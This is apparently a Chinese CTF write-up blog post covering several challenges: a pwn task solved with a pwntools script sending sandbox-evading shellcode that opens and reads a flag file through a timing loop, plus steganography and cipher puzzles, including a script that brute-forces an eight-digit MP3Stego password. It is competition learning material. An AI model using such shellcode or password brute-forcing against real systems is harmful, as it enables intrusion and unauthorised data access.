silent
去年决赛的原题。
反汇编打开程序发现在最后会将我们输入的内容当作函数进行调用, 但是因为开了沙盒保护的缘故, 无法直接进行调用system(“/bin/sh”), 所以就构造shellcode, 然后直接读取flag即可, 但是要爆破, exp如下:
#!/usr/bin/python2
#encoding:utf-8
from pwn import *
sh = remote('8.140.177.7',40334)
elf = ELF('./chall')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p.recvuntil('Welcome to silent execution-box.')
payload=asm('''
mov rdx,0x67616c662f2e
push rdx
mov rdi,rsp
mov rsi,0
xor rdx,rdx
xor eax,eax
syscall
mov edi, eax
mov rsi, 0x10100
mov edx, 0x20
xor eax, eax
syscall
mov al,[rsi+1]
loop:
cmp al,108;
jz loop
''')
sh.send(payload)
sh.interactive()
Ball_sigin
表演一下手机解题(x
玩到60分就有flag,有手就行
冬奥会_is_coming
解压获得png,直接foremost获得压缩包解压出mp3
notepad++打开
最下面有一段cipher,暂时不知道,留着
mp3的压缩包有个描述
八位数字
直接用MP3stego进行解密,
八位数字不知道密码多少,写脚本爆破
脚本:
import os
import threading
import os.path
for p in range(99999999):
c = f'{p:08}'
print(c)
os.system('decode.exe -X -P {} encode.mp3'.format(c))
if os.path.isfile("encode.mp3.txt"):
exit(0)
爆破出密码为20220204,提取获得txt
\xe2\x9c\x8c\xef\xb8\x8e \xe2\x98\x9d\xef\xb8\x8e\xe2\x99\x93\xef\xb8\x8e\xe2\xa7\xab\xef\xb8\x8e\xe2\x98\x9f\xef\xb8\x8e\xe2\x97\x86\xef\xb8\x8e\xe2\x99\x8c\xef\xb8\x8e \xe2\x9d\x92\xef\xb8\x8e\xe2\x99\x8f\xef\xb8\x8e\xe2\x97\xbb\xef\xb8\x8e\xe2\x96\xa1\xef\xb8\x8e\xe2\xac\xa7\xef\xb8\x8e\xe2\x99\x93\xef\xb8\x8e\xe2\xa7\xab\xef\xb8\x8e\xe2\x96\xa1\xef\xb8\x8e\xe2\x9d\x92\xef\xb8\x8e\xe2\x8d\x93\xef\xb8\x8e \xe2\x96\xa0\xef\xb8\x8e\xe2\x99\x8b\xef\xb8\x8e\xe2\x9d\x8d\xef\xb8\x8e\xe2\x99\x8f\xef\xb8\x8e\xe2\x99\x8e\xef\xb8\x8e \xf0\x9f\x93\x82\xef\xb8\x8e\xe2\x99\x8d\xef\xb8\x8e\xe2\x99\x8f\xef\xb8\x8e\xf0\x9f\x8f\xb1\xef\xb8\x8e\xe2\x99\x8f\xef\xb8\x8e\xe2\x99\x8b\xef\xb8\x8e\xf0\x9f\x99\xb5 \xe2\x99\x93\xef\xb8\x8e\xe2\xac\xa7\xef\xb8\x8e \xe2\x9d\x96\xef\xb8\x8e\xe2\x99\x8f\xef\xb8\x8e\xe2\x9d\x92\xef\xb8\x8e\xe2\x8d\x93\xef\xb8\x8e \xe2\x99\x93\xef\xb8\x8e\xe2\x96\xa0\xef\xb8\x8e\xe2\xa7\xab\xef\xb8\x8e\xe2\x99\x8f\xef\xb8\x8e\xe2\x9d\x92\xef\xb8\x8e\xe2\x99\x8f\xef\xb8\x8e\xe2\xac\xa7\xef\xb8\x8e\xe2\xa7\xab\xef\xb8\x8e\xe2\x99\x93\xef\xb8\x8e\xe2\x96\xa0\xef\xb8\x8e\xe2\x99\x91\xef\xb8\x8e\xf0\x9f\x93\xac\xef\xb8\x8e \xf0\x9f\x95\x88\xef\xb8\x8e\xe2\x99\x92\xef\xb8\x8e\xe2\x8d\x93\xef\xb8\x8e \xe2\x96\xa0\xef\xb8\x8e\xe2\x96\xa1\xef\xb8\x8e\xe2\xa7\xab\xef\xb8\x8e \xe2\xa7\xab\xef\xb8\x8e\xe2\x99\x8b\xef\xb8\x8e\xf0\x9f\x99\xb5\xe2\x99\x8f\xef\xb8\x8e \xe2\x99\x8b\xef\xb8\x8e \xe2\x97\x8f\xef\xb8\x8e\xe2\x96\xa1\xef\xb8\x8e\xe2\x96\xa1\xef\xb8\x8e\xf0\x9f\x99\xb5 \xe2\x99\x8b\xef\xb8\x8e\xe2\xa7\xab\xef\xb8\x8e \xe2\x99\x93\xef\xb8\x8e\xe2\xa7\xab\xef\xb8\x8e\xe2\x9c\x8d\xef\xb8\x8e
直接转为十六进制
获得一堆emoji,这个东西跟以前玩过传说之下G爹的密码一样,在线解密
Wingdings Translator ☜☜☜ ― LingoJam
有个1cePeak的包在github里面
去github找
找到包,逐个查看
a,b啥也没有,查看post-checkout
点view raw会下载
内容如上
意义不明,考虑到上面还有的emoji,那就尝试用网站解密
emoji-aes (aghorler.github.io)
最后获得flag
取证1
纯nt题目
👴懒得截图了,口述,以前unctf的东西还能给你塞进来,美其名曰
笑死
常规操作找文件,直接搜到sea.jpg,里面一个
嗯脑洞,
outguess 123456解开
想必就是需要写逆向脚本的key了吧,你套你🐎的双十六进制编码呢,Twin??嗯脑洞是吧
👴脚本写完就卡死你这个玩意了,呕
import random
import base64
str = 'Vnw3HC07BDgbBWNRGTx2fSckf399V1Z9CxIvHVd6fHsaEnR8fX40NyQ7JhM8CWV5fgMNN24='
str1 = base64.b64decode(str).decode('latin-1')
def r (s,num):
l = ""
for i in s:
if(ord(i) in range(97,97+26)):
l +=chr((ord(i)-97+num)%26+97)
else:
l+=i
return l
def x (a,b):
return chr(ord(a)^ord(b))
for i in range(97,123):
str2 = chr(i)
j = -1
while j != -len(str1):
str2 = x(str1[j],str2[0])+str2
j-=1
str2 = str2[-1] +str2[:-1]
try:
strs = base64.b64decode(str2).decode()
for i in range(1,26):
flag = r(strs,i)
print(flag)
except:
pass
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
暂无评论内容